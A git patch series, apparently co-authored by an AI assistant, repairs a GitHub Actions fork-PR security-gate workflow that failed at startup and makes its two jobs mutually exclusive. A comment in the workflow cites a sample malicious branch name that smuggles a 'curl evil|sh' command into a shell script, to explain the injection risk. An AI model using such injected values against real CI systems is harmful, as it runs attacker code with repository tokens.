From 7a0e0472637ec6d549b474f7424df8d37a0eed2e Mon Sep 17 00:00:00 2001 From: "Jonathan D.A. Jewell" <6759885+hyperpolymath@users.noreply.github.com> Date: Tue, 22 Sep 2026 21:38:31 +0100 Subject: [PATCH 1/2] fix(ci): revive the fork-PR security gate, dead since it was written `.github/workflows/security-gate-pr-target.yml` has NEVER run. Its last 30 runs are 30 failures, every one with `jobs=0` -- a startup death, not a test failure. Because the run dies before any job is created there are no logs, so this was diagnosed from the file rather than from a log. Two independent faults, either of which alone is fatal at workflow parse: 1. An EMPTY expression inside a `run:` block (was line 72). The comment explaining why a fork branch name must never be interpolated into the script wrote the two-brace syntax out literally, as an empty expression. The runner substitutes expressions into the script as TEXT before bash ever sees it -- comments included -- and an empty one is a fatal parse error. The security comment warning about the danger of interpolation was itself the interpolation that killed the workflow. Cured by naming the syntax in prose, plus a note at the site telling the next reader why the literal must not come back. 2. `steps` context used at JOB level (was line 208). if: steps.fork-check.outputs.is_fork != 'true' `steps` does not exist at job level; only `github`, `inputs`, `needs` and `vars` do. Replaced with the exact value the `fork-check` step itself keys on (`HEAD_IS_FORK: github.event.pull_request.head.repo.fork`), so the condition is semantically identical to the intent: if: github.event.pull_request.head.repo.fork != true VERIFICATION - `yq` parsed the file rc=0 BEFORE this change: the fault was never in the YAML layer, only in the GitHub expression layer. A YAML linter cannot catch this class. - actionlint before: 2 `[expression]` errors. After: 0. The 11 remaining `[shellcheck]` findings are pre-existing style infos, untouched here. - Falsification test across all 55 workflows in the repo: exactly ONE file contains a literal empty expression -- this one -- and it is the only workflow with `jobs=0`. Control workflows without it report `jobs=1`, including `settings-drift-detect.yml`, which is red but RAN. Red alone does not mean startup death; the empty expression predicts it exactly. SCOPE No behaviour is changed for any passing job, because no job has ever run. This is `pull_request_target`-triggered only, so it cannot affect `push` builds; it will take its first real measurement on the next pull request. Expect that first run to be the gate's debut, not a regression. Co-Authored-By: Claude Opus 5 Claude-Session: https://claude.ai/code/session_01Ji1bq3TypfycfUPAR7hSxR --- .github/workflows/security-gate-pr-target.yml | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) diff --git a/.github/workflows/security-gate-pr-target.yml b/.github/workflows/security-gate-pr-target.yml index 57b30ea1..0e4e0ebf 100644 --- a/.github/workflows/security-gate-pr-target.yml +++ b/.github/workflows/security-gate-pr-target.yml @@ -69,12 +69,19 @@ jobs: # `pull_request_target`, which means it executes in the BASE # repository context holding BASE repository permissions. That is # exactly why a fork's branch name must NEVER be interpolated into - # this script: `${{ }}` is expanded into the script TEXT by the + # this script: interpolation is expanded into the script TEXT by the # runner before bash ever parses it, so a fork branch named # `x";curl evil|sh;"` would run here with this job's token. Being in # the base context is what makes it dangerous, not what makes it # safe. Both values therefore arrive through `env:` above and are # only ever referenced as quoted shell variables. + # + # Do NOT write the literal two-brace expression syntax here, even + # inside a comment. The runner substitutes expressions into this + # script as TEXT before bash sees it, comments included, and an + # EMPTY one is a fatal workflow-parse error: it kills the whole + # workflow at startup with zero jobs. This gate was dead on main + # for exactly that reason. case "$PR_BRANCH" in ""|-*|*..*) echo "::error::refusing to check out an unsafe branch name" @@ -205,7 +212,7 @@ jobs: # Fallback for non-fork PRs - just run basic checks security-check-regular-pr: name: Security Checks for Regular PRs - if: steps.fork-check.outputs.is_fork != 'true' + if: github.event.pull_request.head.repo.fork != true runs-on: ubuntu-latest timeout-minutes: 10 From e76f9c31a9073559735b5472871fed161d096371 Mon Sep 17 00:00:00 2001 From: "Jonathan D.A. Jewell" <6759885+hyperpolymath@users.noreply.github.com> Date: Tue, 22 Sep 2026 21:44:32 +0100 Subject: [PATCH 2/2] fix(ci): make the two fork-PR security jobs mutually exclusive Addresses the review on #997. `security-check-fork-pr` carried no job-level condition, so on a same-repository PR it started, ran a checkout and the fork-check step, and then no-opped every meaningful step via `steps.fork-check.outputs.is_fork == 'true'`. Correct, but wasteful, and it left the pairing with `security-check-regular-pr` implicit. Gate it on the same value the `fork-check` step itself keys on, so the two jobs are exact complements: security-check-fork-pr if: ...head.repo.fork == true security-check-regular-pr if: ...head.repo.fork != true Mutually exclusive and exhaustive. `final-summary` is unaffected: it is `if: always()` over both, and its summary step already has an explicit branch printing SKIPPED for a job whose result is not success. Edge case checked: if `head.repo` is absent (a deleted fork), `fork` is null. In GitHub expressions `null == true` is false and `null != true` is true, so the regular-PR job runs and the fork job is skipped -- which is the same outcome as the previous shape, where the fork job ran and `fork-check` set `is_fork=false`. No regression. actionlint: still 0 `[expression]` errors; the 11 `[shellcheck]` findings remain pre-existing style infos. Co-Authored-By: Claude Opus 5 Claude-Session: https://claude.ai/code/session_01Ji1bq3TypfycfUPAR7hSxR --- .github/workflows/security-gate-pr-target.yml | 1 + 1 file changed, 1 insertion(+) diff --git a/.github/workflows/security-gate-pr-target.yml b/.github/workflows/security-gate-pr-target.yml index 0e4e0ebf..c4d9f95a 100644 --- a/.github/workflows/security-gate-pr-target.yml +++ b/.github/workflows/security-gate-pr-target.yml @@ -20,6 +20,7 @@ permissions: jobs: security-check-fork-pr: name: Security Checks for Fork PRs + if: github.event.pull_request.head.repo.fork == true runs-on: ubuntu-latest timeout-minutes: 15 permissions: